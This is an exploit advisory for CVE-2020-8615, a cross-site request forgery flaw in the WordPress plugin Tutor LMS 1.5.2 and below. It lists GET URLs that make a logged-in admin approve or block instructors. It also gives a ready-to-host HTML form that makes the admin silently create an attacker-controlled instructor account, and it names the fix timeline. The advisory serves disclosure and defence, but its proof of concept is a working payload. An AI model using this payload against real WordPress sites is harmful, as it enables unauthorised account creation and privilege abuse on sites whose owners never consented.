# Exploit Title: WordPress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)# Date: 2020-01-30# Vendor Homepage: https://www.themeum.com/product/tutor-lms/# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers# Exploit Author: Jinson Varghese Behanan# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/# Author Homepage: https://www.jinsonvarghese.com# Version: 1.5.2 and below# CVE : CVE-2020-8615# 1. Description# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses. # An attacker can use CSRF to register themselves as an instructor or block other legit instructors. # Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings # page, the attacker will be able to create courses directly as well. All WordPress websites # using Tutor LMS version 1.5.2 and below are affected.# 2. Proof of Concept# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF # attack to approve an attacker-controlled instructor account can be performed by having the admin # visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly, # after retrieving the instructor ID during the registration process. An approved instructor can also be blocked # by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor # in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval. # This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is # hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can # be tricked into visiting the link and triggering the request to add an instructor.<html><body><script>history.pushState('','','/')</script><form action="https://TARGET/wp-admin/admin-ajax.php" method="POST"><inputtype="hidden" name="action" value="add_new_instructor"/><inputtype="hidden" name="first_name" value="John"/><inputtype="hidden" name="last_name" value="Doe"/><inputtype="hidden" name="user_login" value="jd_instructor"/><inputtype="hidden" name="email" value="jd@TARGET"/><inputtype="hidden" name="phone_number" value="1231231231"/><inputtype="hidden" name="password" value="Pa$$w0rd!"/><inputtype="hidden" name="password_confirmation" value="Pa$$w0rd!"/><inputtype="hidden" name="tutor_profile_bio" value="Et tempore culpa n"/><inputtype="hidden" name="action" value="tutor_add_instructor"/><inputtype="submit" value="Submit request"/></form></body></html>3. Timeline
Vulnerability reported to the Tutor LMS team – January 30,2020.
Tutor LMS version 1.5.3 containing the fix released – February 4,2020.